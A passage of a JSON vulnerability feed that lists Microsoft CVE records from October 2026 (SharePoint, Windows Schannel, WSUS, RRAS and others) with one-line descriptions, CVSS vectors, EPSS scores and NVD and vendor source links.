2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105591&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105591, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105013","cveId":"CVE-2026-105013","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:57.610Z","updatedAt":"2026-10-14T19:45:06.847Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105013","asOf":"2026-10-14T19:45:06.847Z"},"epss":{"probability":0.00951,"percentile":0.6103,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105013&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105013","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105013","type":"primary","publishedAt":"2026-10-13T19:17:57.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105013","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105013&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105013, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105009","cveId":"CVE-2026-105009","aliases":[],"kind":"vulnerability","title":"Incorrect default permissions in Windows Server Update Service allows an authorized attacker to elevate privileges locally.","summary":"Incorrect default permissions in Windows Server Update Service allows an authorized attacker to elevate privileges locally.","detail":"Incorrect default permissions in Windows Server Update Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:57.277Z","updatedAt":"2026-10-26T15:29:00.777Z","regions":["Global"],"vendor":"microsoft","product":"windows server 2012","stacks":["Microsoft Windows","windows server 2012"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105009","asOf":"2026-10-26T15:29:00.777Z"},"epss":{"probability":0.00327,"percentile":0.2555,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105009&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105009","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105009","type":"primary","publishedAt":"2026-10-13T19:17:57.277Z","checkedAt":"2026-10-26T16:50:55.493Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105009","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105009&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105009, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105005","cveId":"CVE-2026-105005","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in Windows Schannel allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds write in Windows Schannel allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds write in Windows Schannel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:56.567Z","updatedAt":"2026-10-26T14:53:15.767Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 26h1","stacks":["Microsoft Windows","windows 11 26h1"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105005","asOf":"2026-10-26T14:53:15.767Z"},"epss":{"probability":0.00763,"percentile":0.55102,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105005&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105005","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105005","type":"primary","publishedAt":"2026-10-13T19:17:56.567Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105005","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105005&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105005, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105004","cveId":"CVE-2026-105004","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:56.343Z","updatedAt":"2026-10-26T15:08:03.017Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105004","asOf":"2026-10-26T15:08:03.017Z"},"epss":{"probability":0.00361,"percentile":0.29668,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105004&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105004","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105004","type":"primary","publishedAt":"2026-10-13T19:17:56.343Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105004","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105004&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105004, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103569","cveId":"CVE-2026-103569","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows IKE Extension allows an unauthorized attacker to disclose information over a network.","summary":"Out-of-bounds read in Windows IKE Extension allows an unauthorized attacker to disclose information over a network.","detail":"Out-of-bounds read in Windows IKE Extension allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:53.123Z","updatedAt":"2026-10-26T15:09:40.573Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103569","asOf":"2026-10-26T15:09:40.573Z"},"epss":{"probability":0.01138,"percentile":0.66337,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103569&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103569","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103569","type":"primary","publishedAt":"2026-10-13T19:17:53.123Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-103569","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103569&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103569, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103568","cveId":"CVE-2026-103568","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Providers allows an authorized attacker to elevate privileges...","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Providers allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Providers allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:52.943Z","updatedAt":"2026-10-26T15:10:08.077Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103568","asOf":"2026-10-26T15:10:08.077Z"},"epss":{"probability":0.00219,"percentile":0.12319,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103568&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103568","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103568","type":"primary","publishedAt":"2026-10-13T19:17:52.943Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-103568","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103568&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103568, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103565","cveId":"CVE-2026-103565","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:52.523Z","updatedAt":"2026-10-26T16:31:07.307Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103565","asOf":"2026-10-26T16:31:07.307Z"},"epss":{"probability":0.00286,"percentile":0.20922,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103565&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103565","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103565","type":"primary","publishedAt":"2026-10-13T19:17:52.523Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-103565","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103565&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103565, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103558","cveId":"CVE-2026-103558","aliases":[],"kind":"vulnerability","title":"Deadlock in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.","summary":"Deadlock in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.","detail":"Deadlock in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:52.210Z","updatedAt":"2026-10-26T16:31:32.020Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103558","asOf":"2026-10-26T16:31:32.020Z"},"epss":{"probability":0.00998,"percentile":0.62512,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103558&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103558","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103558","type":"primary","publishedAt":"2026-10-13T19:17:52.210Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-103558","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103558&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103558, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103554","cveId":"CVE-2026-103554","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:51.903Z","updatedAt":"2026-10-26T16:31:52.127Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 